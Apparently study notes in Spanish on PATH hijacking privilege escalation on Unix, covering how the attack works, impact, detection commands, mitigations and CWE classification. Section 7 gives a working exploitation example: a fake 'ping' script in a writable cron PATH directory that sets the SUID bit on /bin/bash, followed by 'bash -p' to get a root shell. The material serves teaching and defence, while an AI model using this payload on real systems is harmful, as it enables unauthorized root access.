1. Descripción técnica del ataque
PATH Hijacking (o PATH injection) es una técnica de escalada de privilegios que abusa de programas o scripts que invocan otros binarios usando su nombre relativo (por ejemplo ping, tar, service) en lugar de su ruta absoluta (/usr/bin/ping).
Cuando un comando se invoca por su nombre, el sistema lo busca recorriendo los directorios listados en la variable de entorno PATH, de izquierda a derecha, y ejecuta la primera coincidencia. Si un atacante puede:
- Colocar un binario/script malicioso con el mismo nombre en un directorio que esté antes en el
PATH, o - Anteponer un directorio que controla al
PATH,
entonces el proceso privilegiado ejecutará el binario del atacante en lugar del legítimo, heredando sus privilegios (típicamente root).
Es especialmente peligroso cuando el comando vulnerable lo ejecuta root (a través de un cronjob, un binario SUID o un comando sudo).
2. Impacto de la vulnerabilidad
- Escalada de privilegios a root cuando el proceso vulnerable corre con privilegios elevados.
- Ejecución de código arbitrario en el contexto del proceso secuestrado.
- Suele combinarse con cronjobs de root o binarios SUID para lograr persistencia o una shell privilegiada.
3. Historia y evolución
- Es una clase de fallo tan antigua como la propia variable
PATHde Unix; el caso clásico es incluir.(directorio actual) al inicio delPATH. - Sigue siendo extremadamente común en CTFs y en auditorías reales, sobre todo en scripts y cronjobs mal escritos que no usan rutas absolutas.
4. Factores que la hacen posible
- Un proceso privilegiado que invoca binarios por nombre relativo, no por ruta absoluta.
- Que el atacante tenga escritura en algún directorio incluido en el
PATHdel proceso (o capacidad de modificar elPATH). - Que ese directorio escribible aparezca antes que el directorio del binario legítimo.
5. Detección
- Inspeccionar cronjobs y scripts de root buscando comandos sin ruta absoluta:
cat /etc/crontab
ls -la /etc/cron.*- Comprobar el
PATHconfigurado y los permisos de cada directorio que lo compone:
echo $PATH
cat /etc/crontab # ¿incluye un directorio escribible como /var/www/html antes de /usr/bin?- Herramientas como pspy ayudan a observar procesos de root que lanzan binarios por nombre relativo:
./pspy646. Mitigación
- Usar siempre rutas absolutas al invocar binarios desde scripts, cronjobs y servicios privilegiados.
- Definir un
PATHseguro y mínimo dentro de los scripts (PATH=/usr/sbin:/usr/bin:/sbin:/bin). - No incluir directorios escribibles (ni
.) en elPATHde cuentas privilegiadas. - Restringir los permisos de escritura sobre los directorios del
PATH.
7. Ejemplo de explotación real
Un cronjob de root ejecuta ping por nombre relativo, y /var/www/html (escribible) aparece antes que /usr/bin en el PATH:
# /etc/crontab
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/var/www/html:/bin:/usr/sbin:/usr/bin
* * * * * root ping -c1 raspberrypi.comColocamos un ping malicioso que asigna el bit SUID a Bash:
$ cat /var/www/html/ping
#!/bin/bash
chmod u+s /bin/bash
$ chmod +x /var/www/html/ping
# tras un minuto:
$ bash -p
bash-5.1# whoami
root8. Clasificación
- Tipo: Privilege Escalation / Untrusted Search Path
- CWE:
- CWE-426 – Untrusted Search Path
- CWE-427 – Uncontrolled Search Path Element
9. Resumen
PATH Hijacking explota procesos privilegiados que llaman a binarios por su nombre relativo: al colocar un binario malicioso en un directorio escribible y prioritario del PATH, el proceso de root ejecuta el código del atacante. Es un vector clásico en cronjobs y scripts mal escritos. La defensa es usar rutas absolutas y un PATH mínimo y seguro. Relacionado con Tar Wildcard Injection y el abuso de cronjobs.